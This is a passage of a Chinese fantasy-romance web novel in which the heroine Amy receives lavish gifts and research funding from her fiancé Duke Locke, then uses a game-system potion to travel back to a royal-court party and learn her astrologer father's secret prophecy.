“这里有当下最新款的布料和首饰,还有一些我想小姑娘会喜欢的水晶和宝石。”他下巴轻点,示意队伍最后的几个人出来:“以及,布佛里托最知名的裁缝和曾在宫廷为奥多芙公主制鞋的鞋匠。” “这是送你的一点见面礼,小姐。” 等等。 艾米看着他的眼睛确认道:“你的意思是,这些人,也是送我的礼物?” 洛克公爵点头:“艾米小姐,请务必用上他们。” 还不等艾米张口,他就继续安排了下去:“我刚才从外面看到,您的城堡外墙在某些地方已经开始剥落,如果您不介意的话,我想我会安排人将那些地方重新修正一遍。” 男人迅速环顾四周,最后目光落在楼梯的雕花扶手上:“以及您前厅这些已经老化了的装饰物。” 艾米被他一连串的话搞得莫名其妙,小声且犹豫地回复道:“那么,谢谢?” “不用谢。”他从马甲前襟的口袋中取出一只金光闪闪的怀表:“现在是下午茶的时间,我想您已经为我准备了可爱的甜品,但抱歉,我更习惯我的厨师制作的食物。” “女士。”他在人群中扫视,最后精准地找到黛碧:“请将我的厨师带去厨房,好吗?” “另外。这位先生。”他又看向古德:“鉴于接下来一段时间,我会频繁来此拜访,我希望我脚下的这块地毯可以换成羊绒的,当然,羊毛的很舒适,但羊绒的会更柔软,是吧?” 艾米的意识还停留在刚见面的寒暄环节。 “等等,公爵大人,您送我的这些礼物和人”她还没来得及安置公爵送给她的裁缝和鞋匠,就又看到新的仆从挤进了这间可怜的前厅。 “艾米小姐。”他微笑着,说了一些不怎么中听的话:“您穿着这么朴素,别人会以为我破产了,我注意到您没有戴我曾经送给你的首饰礼物,如果你不喜欢的话,我又带来了一些新的。” “嫩绿色格子裙很漂亮,但恕我直言,这种糟糕的布料不应该出现在您的身上。顺便一提,酒红色的丝绸更适合您的皮肤。” 艾米有些崩溃。 是的,布利斯说得没错。 她早应该想到的。 出门度假拒绝住在主人家,非要提前修建庄园;甚至连门口道路两旁的树都要按他心意修剪枝桠,以保证整齐美观的男人。 肯定会是百分百的自大狂啊! 第74章 第74章金币魅力四射。 公爵大人的馈赠让人无法拒绝。 因此艾米只能尽量不去在意他“会对便宜东西过敏”的小毛病。 除此之外,她嘱咐女仆长黛碧看好莉亚,别让她来会客厅,也别让她靠近公爵大人的马车队。 倒不是这孩子不能出现,而是艾米很担心她看到洛克后忍不住动手动脚。男人几乎是个移动的宝石匣子,几乎每一个抠出来都能买下一栋精美的庄园。 眼下,在这间小巧精致的私人会客间内,这对名义上的未婚夫妻正在说着一些没营养的寒暄。 两人围绕着托利亚和布佛里托的天气聊了足足四十分钟,艾米绞尽脑汁使用了自己知道的所有得体的词汇,描述了这座小镇和周边值得一去的所有森林、湖畔景色。 在这个无聊的过程中,艾米的嘴角始终保持着合适的弧度,她的注意力常被洛克身上的饰品所吸引,视线忍不住停留在他交握的手指之上。 他左手的食指戴着一枚玫瑰金嵌黑琉璃戒指,双螺旋的设计交汇于手指根部;中指上则是一枚素圈配黑曜石的戒指,宝石外嵌了一圈银色细钻,像碎砂洒在上面;而尾戒则是一枚流畅优雅的双层银黑戒指,两层交叠,外面的那圈可转动,不至于呆板。他的右手同样满满当当,从拇指开始,一枚黑色十字花型的板戒,上面没有钻石,但光是主体的工艺就足够精致;右手食指上是一枚三环戒指,也是他手上唯一一枚不是以黑色为主色系的戒指,外侧两圈是银色的,而中间的黑色戒圈上似乎刻上了代表他名字的字母。 唯独无名指是空的。 艾米想,这也许是他为婚戒留下的位置。 不得不说,这些夸张的款式丰富的饰品淡化了他年长的气质,令他看起来更像是偏好某种成熟穿衣风格的年轻男人。 话题几近干涸,安静已经多过交谈。 差不多可以了吧,艾米面带微笑,等着对面的男人什么时候会因为无聊而告退。 几分钟后,洛克公爵起身。 艾米连忙一同站起,准备送走客人,没想到公爵大人提出想看 一看克莱恩先生的书房。 她愣了一下,才反应过来是哪里。 因为从十三岁开始,那间书房就是她的了,没人会说“克莱恩先生的书房”,领主府的所有人都认为那是艾米小姐的书房。 但客人的要求并不过分,或者说,按照礼仪,她在最开始就应该先带公爵大人参观自己的宅邸。 “当然没问题,这是我的荣幸。”艾米尽量让自己的皮肉笑得更协调些:“请随我来,公爵大人。”- 洛克走进书房后,才意识到这间书房真正的主人是谁。 这里遍布着她的痕迹。 临时休息的软榻上散落放着粉蓝色的薄毯,书架旁摆放着一张三层阶梯的木凳方便领主小姐随时拿最上层的书,窗帘拉起一半,露出窗台上今日刚换过的鲜花,书桌的一侧堆了一叠手稿,看得出来是整理过的、但因为使用频繁,还是略显凌乱。 他的目光落在其中一本摊开的书稿上。 “你对矿石感兴趣?”公爵大人问。 所有人都知道,他是王国最大的曜石矿的拥有者,布佛里托还有独一无二的矿工协会这种组织,因此他以为这是未婚妻想要多了解一些自己未来的家业。 艾米解释:“您听说过煤炭吗?最近,在我的领地上,发现了这种黑色的能够燃烧的矿石,我一直在思考要如何使用它们。” 洛克不语,视线仍然停留在桌面。 那并不是什么值得机密保存的文字,只是她根据亚兰的书稿整理的相关笔记。在冬季严寒的北境,这种能够用来取暖的矿石还有一定的使用价值,而在温暖的南方,应当更少人会使用煤炭。所以艾米只是随口一提,没想过听到什么回复。 “铁器。”公爵大人的手指落在艾米圈出来的那个词语上:“你想用煤炭来制作铁器?” “是,因为这种矿石燃烧的温度更高、也更加稳定。”艾米从桌面抽出那张纸:“我找了镇上的铁匠铺,在尝试之后还发现了一些有趣的东西。将它们投进燃烧着的炉子里后,堵住绝大多数气口,会产生一种焦炭,用这种煤炭炼铁会让铁器更为坚硬,且铁器成型的效率也更高。” 洛克的目光从书稿移到艾米的脸上,他高贵的湛蓝色眸子耐心地注视着对方:“但你现在遇到了一点困难,是吗?” 恐怕不止一点问题。 艾米尝试组织语言解释这一切。 “煤炭是一种很好用的燃料,呃,在我这些天的研究中发现的。” 她现在的行为类似知道答案后倒推公式,却突然发现题干问的问题跟自己想的完全不一样。她本以为对于平民来说,煤炭会成为他们用来创造“魔法”的黑曜石,可如果加上开采和运输成本,这玩意流通的价值会比木材高太多,唯一对这东西有点需求的,大概就是磨坊主、铁匠、或纺织工坊,而这些人又太少了。 “对于平民来说,尤其是北境的平民,煤炭可以用来取暖,取代木材,但开采起来确实比较麻烦,如果再考虑上运输,恐怕和木材比没太多优势。我想来想去,最好的切入点是提供给那些需要大量铁器的领主们。” 洛克开口:“你没考虑过贵族们也会需要取暖吗?” “这是种不体面的矿石,公爵大人,我想小姐少爷们还是更喜欢漂亮的黑曜石和它所蕴含的魔力。”艾米说得很直接。 而且,生活用煤炭是非常小的一部分,最重要的还是用于生产。 当着曜石矿主人的面,她没有说出自己后面的规划,她正在和亚兰一起研究发明出用煤炭来燃烧驱动,取代那些用黑曜石驱动的机器。 洛克沉默片刻,继续问道:“既然这个问题你已经解决了,那么你现在还在烦恼什么?” “成本。”艾米不假思索地说:“首先,我没有开采矿石的经验,其次,前期投入的成本太高了,而就目前的情况来说,它缺乏必需性。” 无论是生活还是生产,木材和黑曜石都能从各个方面和唯独来替代它,也就是说,艾米悲哀地意识到,这个时代其实并没有煤炭的使用需求。 洛克的喉间发出了好听的醇厚的笑声——就是那种一听就是有钱人的笑声。 “艾米小姐,在您的未婚夫面前说这种话,我可以理解成是一种暗示吗?” 他抱臂倚靠在书桌上,一双长腿松弛交错:“最起码在我这里,成本是最不需要考虑的问题。” 糟糕,是心动的感觉。 艾米极力压下自己的嘴角,但眼睛还是忍不住弯成了月牙,即使这样,她还在努力让自己看起来不要这么没出息。 “公爵大人,您的意思是?” “恰巧,我是个需要很多铁器的大领主。也恰巧,我格外富有。” 他轻轻转动自己左手尾戒的外圈,合身的衣服随着他的动作勾勒出他结实的小臂:“那么,就让我提前为此支付一笔定金如何?” 心脏砰砰跳。 艾米已经开始期待他说出的下一句话了。 “未婚妻小姐,十万金币够你口中的成本了吗?” 够了够了。 艾米狂点头。 就算看起来很没出息她也认了。 “除此之外——”他从桌面抽出刚才被艾米藏在书下的手稿:“用燃烧的煤炭驱动的马车,我对这个也很感兴趣。” 原来他从一开始就看到这张手稿了,这上面记录着艾米随手记下的想法,其中最显眼的一句便是在黑曜石上画了个大大的叉,而在旁边插入了“煤炭”。 “你想用煤炭来取代黑曜石?怎么会有这种想法?”洛克问。 艾米紧张起来,她感觉自己就像在投资人面前做演讲的创业者,而恰巧自己的创业产品刚好是金主的竞品,所以每句话都小心谨慎地说才行。 “嗯其实这并不冲突。” “这只是一种表达手法,平替,您能理解吗?比如黑宝石是黑曜石的平替,也有很多人因此购买黑宝石来制作首饰,就是没有要真的替代的意思。” 洛克轻笑:“不用紧张,我会为你支付这笔费用,你可以尽情做你想做的。” 救命。 金币的魅力势不可挡,艾米感觉自己被攻略了。 说到这里,她忽然好奇公爵大人为何要和自己定下婚约。 一个英俊富有且地位高贵的男人,为什么会和自己这样一个偏僻且没有爵位的穷酸贵族小姐结婚呢? “这是克莱恩先生的建议。”洛克回复道。 看到艾米疑惑的样子,他露出了些许玩味的表情:“看来你对此还一无所知。” 男人从书桌前起身,走到书架附近:“本来我过来参观书房,是想借几本关于占星术的书,但这里似乎没有。” 他的目光扫过书脊上标题。 “我不知道你是否去其他贵族小姐家做客过,亲爱的未婚妻,你留意过她们的家中也有这么满满两面墙的书架吗?” 艾米第一反应是有些莫名其妙。 随后她才后知后觉地想到,阿丽萨曾说过,她的哥哥维克多要去学塔进修的主要原因,是因为家里没有足够的书给他看,即使是他们家这种王城的老牌贵族,也不见得有自己家这么丰富的藏书。 公爵大人在书架前站定,湛蓝色的眸子望向还一脸茫然的未婚妻:“您的父亲,曾经在御前为国王服务。” “他是一名占星术大学士。” 第75章 第75章艾米消失了。 艾米对自己名义上的父亲印象并不深刻,很多时候,这一职责都由古德先生代劳,从小到大,艾米和他的感情更为深厚些。 克莱恩先生的身体总是不好,对领地的事务也并不上心。小镇的居民赞美他宽厚,是因为他并不像其他领主一样,热衷于征兵和收税。 很多时候,对于子民来说,不管不问就是一种仁慈。 而艾米关于父亲的大部分回忆,都是这种悲悯的仁慈。 包括他看向自己时 欲言又止的眼神,这种沉默的注视在他去世之前更为频繁。 天气晴朗的时候,他喜欢坐在露台喝茶看书。忘了哪一天,艾米经过露台的时候,看到他正在阳光下发呆,男人微微出神的模样像一朵雨后的鸢尾,无尽的忧郁缠绕着他,像是要将他的茎秆折断。 艾米没有出声,她只是静静地站在原地,打量着自己的父亲。 她不是孩子,所以她看得出来。 克莱恩先生身上藏着一个秘密,而他也正在忍受这个秘密的折磨。 艾米用孩童般的无知口吻询问过她的母亲,但父亲从未正面回答过,他有意将秘密深藏,不肯透露半分端倪。 抛开这点无伤大雅的小秘密,克莱恩先生无论在那个时代都算得上是一位贴心的父亲。他无限纵容艾米对知识和书本的渴望,也尽量满足她的一切奇思妙想,早早就将她作为下一任领主培养,甚至在油尽灯枯之际,还操心着她的婚姻,为她寻来了眼前这位几乎是满分的未婚夫。 “父亲的身份,有多少人知道?”艾米忽然张口问。 洛克从书架上随手取下一本关于魔兽的书:“对于有意了解的人来说,这并不是秘密。” 他翻开书页,里面夹了一张信笺,上面是艾米留下的笔记,标题写着【论银狼养殖的可行性】几个字,下面画上了波浪线,后面是通用语和一些他看不懂的字符。 “最起码我不知道。”艾米显露出比刚才更有进攻性的气质:“我听说想要成为占星术的大学士,和其他方向的学士晋升不同。占星术大学士必须要完成一个有效的、且被认可的预言,才能获得晋升的资格。” “公爵大人,我很好奇。我的父亲当初的预言是什么?” “抱歉,这是个连我也不知道的秘密。” 洛克将信笺塞回原本的夹页,然后朝未婚妻挥了挥手上的这本书,礼貌询问:“我可以借走这本书去读吗?” 艾米没有异议,点了点头。 公爵大人抓握着书脊,手掌因为发力而筋骨分明。他转身迎上一双不依不饶的眼睛,短暂的思索之后,补充道:“关于你的父亲,我知道的不会比你更多了。” 紧接着,他从胸前拿出怀表看了一眼,有意结束这场对话:“对于一场寒暄来说,我们已经聊了足够久的时间。度假的这段日子,我将会每天过来拜访,希望你不会因此困扰。很高兴能有这样的一个机会让我们加深对彼此的认识,我对自己成为一个尽职尽责的未婚夫很有信心,也希望你能对我敞开一点心扉。” 洛克说得直白得近乎诚恳。即使没有爱,他也是个足够合格的结婚对象,起码他展露出来的是这样的形象。 体面,慷慨,英俊,多金,还有显赫的家世。 像完美无缺的金币,没人会讨厌,但千篇一律,总难免寡淡无味。 ——如果不是看到了屏幕上他的个人信息,艾米恐怕真的要以为面前的男人,就像他表现出来的这样无聊。 和公爵大人作别后,她再次点开洛克的立绘卡片。 屏幕上的男人彬彬有礼,唇角上扬至恰到好处的弧度,周身透着从小养尊处优的矜贵气质。 用更通俗的话来说,是一副除了咖啡没吃过苦的有钱人的样子。 【洛克】 【种族:人类】 【好感度:0】 【技能:鸠占鹊巢】 lv0:好感度达到85后,你治理超过一年的土地将会合法地成为你的领地。 lv1:好感度达到100后,该加成永久固定,且解锁碎片一枚。 这是一个和领地扩张相关的技能。 其中蕴含的意义是,艾米可以使用战争之外、更为温和的手段,悄无声息地扩大自己的领土,很适合作为模拟经营玩家的她使用。 只是她盯着屏幕上的文字,若有所思。 格格不入的技能,意有所指的词条,以及突兀的等级规则。 公爵大人的身上,恐怕同样藏有一个秘密- 商店的药水艾米基本已经使用过一遍,唯独名为【溯溪之旅】的药剂,她还从未用过。 这款药剂在使用后可选定一名对象,回溯到他的过去。 因为之前的攻略对象好感度都拉到了很高的数值,所以艾米根本想不起来用这个看起来就很麻烦的功能。 但今天,她忽然有了别的灵感。 如果她选择其中一名攻略对象,并回到自己出生之前的时间,就有可能看到关于克莱恩先生的过去。 首选是布利斯和米迦尔。 他们俩是在王城出生长大的,而那时候,克莱恩先生正在王宫做御前学士。 但米迦尔出生于贫民窟,十二岁才被圣殿选中带走,等到他有机会接触到王室成员,艾米早就已经在托利亚听古德先生讲贵族家族史的课了。 相比之下,选择回到布利斯的过去更合适。奥利维亚夫人是社交场的名人,她的家中舞会永远不停,应当有许多王室成员或者王宫大臣在她家出现过,其中一定有人认识克莱恩先生,甚至,父亲本人都有可能参加过奥利维亚夫人的宴会。 于是艾米点开布利斯的卡片,选择使用。 紧接着屏幕上跳出了时间选项,根据布利斯的年龄,她最远可以回到二十三年前。 在调整具体回溯时间时,艾米才恍然意识到,似乎快到自己的十八岁生日了。 她是夏天出生的,去年的这个时候,父亲本就糟糕的病情忽然急转直下,以至于连丰收节庆典都未能参加,紧接着就是比往年更猛烈的寒潮和暴雪,彻底摧毁了他的身体。 艾米收拢思绪,沉思片刻,决定把时间定为十九年前,大约是她的生母即将怀孕之前。 确认完毕,刺眼的白光瞬间袭来,她本能地感受到一阵失重的眩晕—— 而就在此时,在丛林寻找冰雾花的布利斯忽然在银狼的包围中停下了释放最后一击的动作。 他遥遥地望向托利亚的方向,眉头微蹙,面露不解。 视域之中,上一秒还泛着莹白的、代表艾米的光点消失了。 连带着他赠送给她的那根具有定位功能的项链一同不见了。 第76章 第76章可怜的王后,可怜的孩子…… 奥利维亚夫人的家中挤满了来宾,王城的贵族都以收到邀请函为荣,因此即使只是一场小型晚会,依然出现了许多知名的大臣和名流。 其他人都看不到她,所以艾米能自由地在人群中穿梭,寻找自己感兴趣的、和王室或国王相关的话题。 “王城很久没这么热闹了。”一位端着酒杯的太太坐在银质锦缎沙发上说:“我已经半年没有听到里拉琴的声音。” “谁说不是呢,这是我过去二十年最无聊憋闷的一个冬天。”另外一位年轻的太太带着一个金丝绒线包,里面装着一些用来逗闷的针线活。 她的身旁坐着她的妹妹,小姑娘天真且开朗,总会无意说出其他人有意避开的话题:“所以,现在戒严结束了吗?我们能随时随地参加酒会,快乐地玩儿了吗?” 小小沙发上围坐的女人短暂地安静了片刻。 紧接着,她们所有人就像从未听到过这句话一样,轻飘飘地转向了别的话题:“好可爱的小袜子,这是你为你的嫂子准备的吗?” 带着金丝绒线包的太太立刻拿出了还没做完的婴儿袜,愉快地展示道:“是的,姑母的女儿下个月即将临盆,这是我为她准备的礼物。” 于是她们开始谈论怀孕和针线活,谈论哪家的裁缝和时新的布料。 十九年前的夏天,新任国王马克西米已经即位。 艾米回忆起罗莎曾提到过,大约二十年前的冬天,路德维希国王因病去世,尚未留下子嗣,他的弟弟马克西米即位,然后开启了一场漫长的戒严,王城禁止一切宴会,寒冷和萧索笼罩着这座城市,而她也是那个时候离开这里,去了布佛里托。 半年之后,戒严结束,所有人在音乐和美酒中继续聊天和跳舞,重新效忠新的国王。 反正都是维特尔斯家的后代,王座背后依旧刻着狮子的族徽,是哥哥还是弟弟,也并没有太多不同。 艾米从盘子中捻起一只可爱的黄油小面包,离开了沙发,朝客厅其他地方踱步,直到她听到一群人在谈论新任国王做出的御前会议人事变动。 “财政大臣?除了哈卡兹家的人还会是谁?这世界上还有谁会比他们更适合?” 一个肥胖的男人自觉有逗笑一旁的奥利维亚夫人的义务,因此绞尽脑汁试图将一切话题落到对漂亮女人 的工位上:“他们就像奥利维亚夫人您的客厅,无论国王是谁,这里永远都是一样的快乐,从不改变。” 夫人只是短暂地路过,并不是想要加入讨论,但不知是什么改变了她的想法,艾米看到她站在了自己的斜对面,眨了眨眼睛继续微笑着,似乎在鼓励大家接着聊下去。 “御前侍卫换了人。不过国王早就应当做出这样的改变了,马修太老了,我怀疑他都已经拔不出背后的剑了。” “御前学士没什么变化,他们都是学塔派送的佼佼者,王国最聪明的人,没人比他们更好用了。” “但我听说占星大学士——”忽然,艾米听到了父亲的职务。 开头的那个胖子打断了他的话:“我都忘了御前学士里还有占星术师的位置,故弄玄虚的家伙也能留在御前,真是好命。” 奥利维亚夫人忽然朝艾米站着的位置靠了过来,她从后面越过旁边的男人,站在了其他人眼中是空缺的位置。 “抱歉。”女人自然而然地为自己吸引了其他人注意而致歉:“我只是觉得,这个地方更方便些。” “请继续吧,我对你们的谈话内容很感兴趣呢。” 艾米小心地分出注意力,时刻留意自己不要蹭到其他人身上。尽管她是透明的,却能对物体造成位移,刚才穿梭在人群中时,她就差点撞倒一个举着托盘的侍从。 他们继续聊起新的大臣任免,大概是觉得占星术大学士太无聊,不能彰显他们的学识,因此话题转到了布佛里托最新的矿工暴。动上。 艾米急切地想要知道更多关于父亲的信息,眼见无法从这群人身上打探到更多,于是侧着身体避开旁边的奥利维亚夫人,想要离开。 “等等。”奥利维亚夫人忽然换了个手端起酒杯,肘尖轻轻打在艾米的胳膊上。 “你们怎么又聊到布佛里托了,王城已经没有更多有趣的新闻了吗?我倒是对那位占星师大学士很好奇呢。”她主动将话题引向艾米感兴趣的内容:“我听说,对于一名大学士来说,他算得上是年轻有为呢。” 一位削瘦的伯爵立刻接话:“也难怪夫人会对他感兴趣和其他上了年纪满脸褶皱的大学士相比,克莱恩先生还在男人最有魅力的年纪。” 他意有所指地补充道:“我记得他大约就和我同岁。” “得了吧。就是因为这样,他才是最糟糕的占星术大学士,这么年轻,满嘴胡话。” 奥利维亚夫人好像被这个笑话逗乐了,脂玉般的脸上荡开轻笑:“是么?那么这位年轻的占星术大学士,都说过哪些胡话?” 刚才还一脸神气的胖子忽然噤了声。 和国王有关的占卜都是秘密,他可以私下用来博美人一笑,却不能在这么多人面前说出来。 奥利维亚夫人看出了他的为难,她娇笑着环顾着周围:“看来只有我一个人对此好奇。算了,既然大家都对此不感兴趣,我们还是继续聊布佛里托吧。” 艾米悄悄离开了这群人。 她继续在客厅里打转。大部分聊天的内容都很无聊,这些宾客外貌长相不一,实际剥开心却都一模一样。他们说着相似的话,喝着差不多的酒,对涉及宫廷的一切人和事都表现得毫不关心,然后心照不宣地避开一切有风险的话题。 最后,艾米选择坐在一位孕妇的身边歇息。 这位准妈妈的肚子已经隆起,为了照顾她,她得以独享一整张沙发。想到自己的母亲可能就和身边的这位母亲一样忧心忡忡,艾米的心也软了下来。 这个圈子在聊的话题自然是怀孕、孩子相关。 “光明神在上,保佑我的孩子健康平安。” 她的手边也有一只针线包,只不过是紫色天鹅绒的,看上去触感应当十分柔软。 “一定会的。这是你的第一个孩子吗?”另外一位太太问。 年轻的孕妇点头:“是的,我准备明天去中央圣殿为孩子出生祈福。” “可以找安东尼奥神官,我的两个孩子都是他洗礼的,他本身也是高阶的光明法师。” 年长些的女人欲言又止:“他是很有名,但” “但什么?”年轻的孕妇焦急地问。 “但当初也是他为妮可拉王后祈福的。”另外一位嘴快的太太说道。 艾米感觉空气似乎微微凝重。她本以为这次话题又会像之前的每个小圈子一样轻轻滑过,但没一会,那位年轻的孕妇心有余悸地轻轻叹气。 “可怜的王后,可怜的孩子。” “我听说她自从失去孩子后,身体就一日不如一日了。” “愿光明神保佑她。”年长的女人在缄默中张口,于是其他人也纷纷陆续跟上。 艾米静静思考。 前任国王去世的时候,妮可拉王后还有一个尚未出生的孩子。 只是从她们的交谈中可以得知,这个可怜的孩子夭折了。 怪不得新任国王在即位后会开启漫长的戒严。 这些信息很容易就能串起来,恐怕连民众都会忍不住猜测马克西米殿下是使用了什么阴暗的手段才得以顺利迈上通往王座的阶梯,更别提对宫廷内幕了解更多的贵族和大臣们。 只是艾米仍然好奇,父亲当初到底做了什么预言,才会被说成是“满嘴胡话”? 就在此时,她看到奥利维亚夫人正亲昵地和刚才那位胖子伯爵并肩走着,拐进了通往房间的长廊。 艾米连忙跟上。 “罗夫特大人,我真是好奇死了,快请告诉我吧。”她听到女人小声的撒娇:“那位克莱恩先生,到底做出了什么预言?” 两个人说话时的声音很小,艾米不得不走得更近些,几乎就紧靠着角落的两人站着。 胖子满脸堆笑,犹如痴迷般泛起红晕,艾米看了看面无表情的奥利维亚夫人,意识到她使用了一些小手段来问话。 “占星术常见的预言不就那些,要么是死亡要么是生育。”胖子自得地说:“那个叫克莱恩的家伙也一样。” “他为路德维希国王预言了他的孩子,那时妮可拉王后刚刚怀孕。他说,国王的第一个孩子,会是个健康强壮的男孩。” 所以,前任国王的弟弟马克西米才会迫不及待地杀死了自己的哥哥,连带王后腹中那个可能威胁到他的男孩一起? 艾米暗中思忖。 “然后你就知道了。” 知道什么了? “王后生下了一个脆弱、早夭的女儿。这不是完全不挨边嘛!” 艾米微怔。 奥利维亚夫人紧接着问:“可是现任国王仍然让他继续做御前学士。” “谁知道呢?”胖子满不在乎地说:“也许国王也知道,占星术全是谎言吧?” 艾米愣在原地,以至于没有注意角落中渐渐安静了下来。 “哎呀。”奥利维亚夫人从暗中走出来,精准地抓住了她的胳膊:“你的手臂也柔软滑嫩得像奶油布丁一样可爱呢,就和你身上散发出的味道一样可口。” 清雅 幽香的铃兰香气扑面而来,夫人定定地注视着她的脸,声音温柔:“可惜,我仍然看不到你长什么样子。” 她笑眯眯的,混杂着长辈的慈爱和女人的娇媚:“那么,这位美味的小蛋糕。” “你已经得到你想知道的信息了吗?” 第77章 第77章等到小少爷自己从城堡里…… 艾米屏住呼吸,吓得一声不吭。 “哦——”一个简单的语气词从奥利维亚夫人口中念出都显得缱绻缠绵。“原来是个小哑巴。” 她俯身缓缓靠近,唇几乎要贴到艾米的脸上,才终于听到一点没藏住的吸气声。 “我既看不到你的模样,又听不到你的声音,只能这样才能嗅到更多你的味道小可爱,你会原谅我的无礼吗?” 铃兰香气充斥鼻尖,艾米差点脱口而出没关系。 忽然,从奥利维亚夫人的背后传来孩童的声音。 “母亲。” 艾米视线越过夫人的肩头,看到走廊尽头站着一个粉妆玉砌的黑发小男孩。 他叫她母亲。 这应当就是童年时的布利斯了。 奥利维亚松开了她的手,理了理胸口的褶皱,转过身温柔地问:“怎么出来了?” 小男孩穿着成套的黑色丝质睡衣,抱着一只长垂耳兔玩偶,站得笔直:“我饿了。” “我会让乔伊为你做点吃的。”为了填饱儿子的肚子,奥利维亚夫人暂时放弃了自己看中的猎物。 而艾米则趁着夫人说话的间隙,悄悄地后退,紧贴住狭窄走廊的墙壁。 她想离开这里,却被忽然出现的两名女仆挡住了路,只好又退了回来,朝相反的方向躲藏。 奥利维亚夫人叫来两人中的一个,交代她去厨房为小少爷准备一点夜宵,又唤来另外一个,让她送少爷回卧室睡觉。 “不用了,母亲,我自己回去就好。”小男孩抬头看向被指派送自己的那名女仆:“让莫尔为我调一杯苹果汁吧,我还想要喝点东西。” 他说完这些,认真得有些笨拙地行了一个鞠躬礼:“谢谢您,母亲,我会在房间等待我的食物。” 艾米就靠在小男孩背后的走廊尽头墙壁上,等着这群人散开。 她使用药剂是为了打听父亲的消息,不是为了攻略布利斯。她不想节外生枝。 作为宴会的主角,奥利维亚夫人很快被其他路过的宾客叫走,艾米松了口气。 不管怎么说,今晚的收获颇丰,她知道了父亲的预言,还知道了妮可拉王后曾有过一个夭折的女儿。 ——而她恰巧是个没有母亲的孩子。 这些线索串联起来,很容易让人产生大胆的猜测。 只是时间似乎有些对不上,她暗中默默计算,没留意布利斯正站在她的身边,抱着长垂耳兔,仰面看向她。 “姐姐。” 艾米低头,水灵灵的湖绿色眸子准确无误地直视着她的眼睛。 “为什么其他人都看不到你?”布利斯面无表情,脸上已经初见成年后的疏离。 “这是魔法。”艾米不假思索地说:“能够隐身的魔法。” 小男孩立刻戳穿她:“你在撒谎。” “虽然其他人看不到你,但是我可以。没有这种只对一个人可见的魔法。” 艾米抱臂,看着还不到自己腿边的小鼻嘎,发出嗤之以鼻的讥讽:“你才多大,你没见过的魔法多了去了!比如这世界上还有让土豆变成土豆泥的魔法,以及能让讨厌的人变倒霉的魔法这些都是古魔法书上才有的魔法。”她说的这些也是之前听布利斯说的。 小男孩的脸上出现了一丝犹豫。 面前的女人说得十分肯定,这让他开始怀疑自己。 “好啦。”艾米弯腰主动牵起他的手,就像平时对莉亚一样,因此语气上不由自主带上了几分强势:“已经很晚了,是小孩子需要睡觉的时间,我送你回去。” 布利斯在她的手心里轻轻挣扎。 艾米连忙松开他:“抱歉,拽疼你了吗?”她差点忘了自己过来的目的,又不是为了攻略任务,本来就没必要在这里和小孩子版本的布利斯纠缠。说罢,她挤出礼貌的笑,然后转身就走,动作干净利索,甚至连一点犹豫和迟疑都没有。 小男孩站在原地,嗫嚅着想要张口,最后却什么都没说。 真是奇怪的女人- 半个小时后,布利斯又见到了她。 这次是在他的房间里。 这个女人趁着莫尔收拾他吃完的餐盘,堂而皇之地跟在后面挤进了门。 当着女仆的面,布利斯一言不发,不动声色地观察她在房间里大大咧咧地左看右看,时不时还上手摸一下,自然地就像自己这个主人不在一样。 直到莫尔离开,他才终于询问:“你在做什么?” 女人一屁股坐在了沙发上,笑眯眯地说:“我来看看你有什么需要帮助的,小少爷。” 布利斯皱眉。 这个人实在太奇怪了,但更奇怪的是,他并不反感她。 “我没有什么需要。”小男孩想用强硬的语气赶走对方,但因为嗓音很奶,使得这话听起来没什么硬邦邦的分量。 女人的嘴角轻轻抽动,看起来像是没忍住的嘲笑,这让布利斯很不爽。 下一秒,她收敛了情绪,双手合十,端出有点可怜的态度:“让我为你做点什么吧,求求你了。你想让我做什么?只要我能做到的,全都可以。” 布利斯警惕地看着她:“我想让你出去。” 女人笑容明媚,软栗色的眸子忽然变得摄人心魄的明亮:“如果这是你的心愿的话,我很乐意为你实现。” 她在‘心愿’这个词语上咬字很重,一边说着一边起身就准备朝门口走去。 不知为何,看到她亮晶晶的眼睛,布利斯突然不想让她像刚才那样离开得这么利索。 “等等,我改主意了。”他的手指下意识攥紧玩偶的长长垂耳:“这不是我的心愿。” 女人停了下来,她很惊讶,眼睛瞪得圆滚滚的,里面盛满了又委屈又不可置信的情绪。 布利斯觉得很好玩。 他太孤独了。 母亲的公馆里每晚都有许多客人,宴会厅每晚都很热闹。但他却总是孤零零的一个人,除了一只长垂耳兔玩偶外没有别的朋友。 女人凑到他的跟前,半跪着蹲下来和他视线平视,蹙起的眉间带上些许焦急:“那你的心愿是什么?” “我没有心愿。” 从前几轮对话中,布利斯几乎立刻就明白了这场“游戏”的规则,并且从中找到了乐趣。 她需要完成自己的一个心愿,而自己需要严防死守,不在她的引诱下轻易说出自己“想要”什么。布利斯想,这和‘不要说某个词语’的游戏很像,他是守方,而面前这个奇怪的女人是攻方。 “很晚了,已经是小孩子需要睡觉的时间了。”他原封不动地将刚才的原话返还,然后抱着玩偶爬上了床。 艾米一直跟到他的床边。 “不许睡!”她压低声音,一把抓住布利斯的胳膊,想用卑劣的手段吓唬一下不配合的小孩:“我会一直这样骚扰你!” 一股劲风将她往后推了半步,四柱床的床帏忽然落下,隔断了两人。 布利斯的声音隔着厚厚的帘子传来:“附着在床帏上的守护法术。这才是魔法。”他补充道,语气中带着显而易见的骄傲。 艾米对布利斯这种小学生报复心态无语至极。 不对,他现在的年龄甚至连小学生都算不上。 时间回到十分钟前,将某个伯爵的冷笑话翻来覆去听了三遍的艾米,终于发现这场宴会的有效信息已经被她榨得差不多了,即使继续待下去也只是浪费时间而已。 这个念 头出现的下一刻,艾米忽然意识到。 她还不知道要如何回去。 经过慌乱地一番询问之后,系统告诉她,结束的钥匙是实现可攻略对象的一个心愿。 艾米:“你最近升级之后是不是补充了冷笑话的模组。” 系统:“抱歉,没有。” 开什么玩笑啊! 万一可攻略对象要摘星星摘月亮她怎么办? 岂不是要永远留在这个时间线变成一个透明人了! 针对宿主的疑问,系统立刻回复:“那倒不会。” “你现在的状态无法和食物交互,因此你的能量消耗殆尽后就会从这个时间线消失,然后从头开始启动游戏。” “也就是,卡关重启。” 艾米有点崩溃。 她费了一番功夫才跟着刚才见过的一名女仆找了布利斯的房间,并成功惹恼了小少爷,对方甚至主动说“想让她出去”。 没想到刚才还在纠结的问题这么快就得到了解决,艾米大喜过望,根本没想起来做表情管理,结果被敏锐的布里斯立刻发现了端倪。 可恶。 想到这里,她再次尝试掀开床帏,直接对小少爷进行物理攻击,却次次受阻——大魔导师即便是童年时的咒语都这么坚不可摧。 经过数次徒劳无功的努力后,艾米感觉身体开始有些疲惫。 不知道能量的消耗能不能通过休息恢复? 按照目前的情况,无论要做什么,都要等到白天,等到小少爷自己从城堡里走出来才行。 